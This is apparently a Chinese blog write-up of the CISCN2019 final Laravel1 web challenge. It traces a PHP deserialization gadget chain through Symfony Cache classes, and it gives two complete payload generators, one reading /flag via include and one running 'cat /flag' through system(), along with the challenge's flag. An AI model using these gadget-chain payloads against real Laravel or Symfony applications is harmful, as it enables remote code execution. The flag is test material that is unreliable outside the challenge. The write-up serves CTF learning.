[CISCN2019 总决赛 Day1 Web4]Laravel1

[CISCN2019 总决赛 Day1 Web4]Laravel1

源码

<?php
//backup in source.tar.gz

namespace App\Http\Controllers;

class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }
}

开审链子

全局搜索__destruct


一堆,但是我们可以百度搜wp(滑稽)在TagAwareAdapter
参考链接:https://xz.aliyun.com/t/5816#toc-0

 public function __destruct()
    {
        $this->commit();
    }

进入commit

public function commit()
    {
        return $this->invalidateTags([]);
    }

进入invalidateTags

public function invalidateTags(array $tags)
    {
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) {
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        }

        if ($this->deferred) {
            $items = $this->deferred;
            foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) {
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        }
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) {
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        }

        return $ok;
    }

康康saveDeferred


有4个重载,网上说可利用只有这个

public function saveDeferred(CacheItemInterface $item)
    {
        if (null === $this->values) {
            $this->initialize();
        }

        return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
    }

类中没有values,应该为空,进入initialize(),但是当前类没有这个方法,去父类找,先生成类图


在PhpArrayTrait找到利用点

private function initialize()
    {
        if (!file_exists($this->file)) {
            $this->keys = $this->values = [];

            return;
        }
        $values = (include $this->file) ?: [[], []];

        if (2 !== \count($values) || !isset($values[0], $values[1])) {
            $this->keys = $this->values = [];
        } else {
            list($this->keys, $this->values) = $values;
        }
    }

整理一下:
TagAwareAdapter->__destruct->commit->invalidateTags
设置TagAwareAdapter->deferred = array('maxzed' => new CacheItem());
pool = new PhpArrayAdapter();
就能进入PhpArrayAdapter->saveDeferred
然后进入PhpArrayTrait->initialize
设置PhpArrayTrait->file为/flag
include即可得到/flag
最终payload

<?php
namespace Symfony\Component\Cache{
    final class CacheItem{
    }
}

namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file='/flag';
    }
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        public function __construct(){
            $this->deferred = array('xxx' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
    $a=new TagAwareAdapter();
    echo urlencode(serialize($a));
}

网上还找到第二条RCE链
前面步骤一样,但是没有用PhpArrayAdapter->saveDeferred
而是用ProxyAdapter->saveDeferred

public function saveDeferred(CacheItemInterface $item)
    {
        return $this->doSave($item, __FUNCTION__);
    }

进入doSave

private function doSave(CacheItemInterface $item, $method)
    {
        if (!$item instanceof CacheItem) {
            return false;
        }
        $item = (array) $item;
        if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
            $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
        }

        if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
            $innerItem = $item["\0*\0innerItem"];
        } elseif ($this->pool instanceof AdapterInterface) {
            // this is an optimization specific for AdapterInterface implementations
            // so we can save a round-trip to the backend by just creating a new item
            $f = $this->createCacheItem;
            $innerItem = $f($this->namespace.$item["\0*\0key"], null);
        } else {
            $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
        }

        ($this->setInnerItem)($innerItem, $item);

        return $this->pool->$method($innerItem);
    }

其中,item为CacheItem类,对象转数组,会将属性名作为键,值作为值。
这样,就会进入第三个if,将ProxyAdapter->innerItem设置为CacheItem的innerItem
然后ProxyAdapter->setInnerItem可控
于是就ok了
将ProxyAdapter->setInnerItem=system
CacheItem->InnerItem=cat /flag
就造成代码执行
另外一个payload:

<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
        $this->pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\Component\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

flag{a057e52f-8739-4943-88bc-82b4fdc4fedc}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇